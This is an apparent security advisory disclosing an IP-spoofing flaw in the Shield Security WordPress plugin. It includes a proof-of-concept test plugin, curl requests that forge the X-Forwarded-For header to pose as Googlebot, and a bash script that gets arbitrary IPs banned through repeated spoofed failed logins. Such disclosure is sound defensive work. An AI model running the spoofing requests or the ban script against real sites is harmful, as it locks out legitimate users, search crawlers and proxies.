Affected plugin | Shield Security |
Active installs | 60,000+ |
Vulnerable version | <= 16.1.6 |
Audited version | 16.1..1 |
Fully patched version | – |
Recommended remediation | Removal of the plugin |
Description
The plugin is vulnerable to IP spoofing, which an attacker can exploit to ban search engine crawlers, the site’s reverse proxy, or legitimate users.
Proof of concept
The plugin uses the FernleafSystems\Wordpress\Services\Core\Request::ip method almost everywhere it needs an IP address.
This method will delegate IP detection to several service classes, so we won’t discuss why they are vulnerable to IP spoofing in detail.
To summarize:
- The plugin assumes HTTP headers always contain trustworthy value
- The leftmost IP is used if a HTTP header contains multiple IPs. The leftmost IP is always one that an attacker can spoof.
You can verify the vulnerability with the following must-use plugin:
<?php
// wp-content/mu-plugins/ip.php
declare(strict_types=1);
use FernleafSystems\Wordpress\Services\Services;
$real_user_ip = '147.93.33.75';
$_SERVER['REMOTE_ADDR'] = $real_user_ip;
/**
* A load balancer will create the header by always appending it to the right.
* Not doing so would validate the HTTP spec.
*/
if (empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['HTTP_X_FORWARDED_FOR'] = $real_user_ip;
} else {
$_SERVER['HTTP_X_FORWARDED_FOR'] = $_SERVER['HTTP_X_FORWARDED_FOR'].','.$real_user_ip;
}
if ( ! isset($_SERVER['HTTP_TEST_IP'])) {
return;
}
add_action('plugins_loaded', function () {
$request = Services::Request();
echo $request->ip();
echo "\n";
die();
});;
Change the IP source from “automatic” to “X_HTTP_FORWARDED_FOR” under “Config => General => IP source”.
Then run the following curl commands:
curl -X GET https://site.test -H "Test-IP: 1"
147.93.33.75 ## This works as expected and is the correct IP.
Now:
curl -X GET https://site.test -H "Test-IP: 1" -H "X-Forwarded-For: 66.249.66.67"
66.249.66.67 # Spoofed to IP
The plugin now thinks that the request comes from Google-Bot.
There are many ways to abuse IP spoofing since the plugin uses the spoofed IP in many security-related contexts.
An attacker can use the following bash script to permanently ban arbitrary IPs by submitting several invalid login requests.
#!/usr/bin/env bash
# ban-ip.sh
IP="$1"
DOMAIN="$2"
TOTAL="${3:-10}"
for ((i=1; i <= TOTAL; i++))
do
curl -s -X POST "https://$DOMAIN/wp-login.php" \
-H "X-Forwarded-For: $IP" \
-d "log=admin" \
-d "pwd=foo" > /dev/null
echo "$i"
done
bash ban-ip.sh "189.192.110.1" "site.test"
The IP “189.192.110.1” is now banned.
curl -X GET https://site.test -H "X-Forwarded-For: 189.192.110.1" | grep "Access Restricted"
<title>Access Restricted | Shield Security</title>
Proposed patch
The needed patch is described in great length in this article of us.
Summary: Only ever use REMOTE_ADDR to access to current IP.
Timeline
Vendor contacted | September 12, 2022 |
First Response | September 12, 2022 |
Fully patched at | – |
Publicly disclosed | April 24, 2023 |
Leave a Reply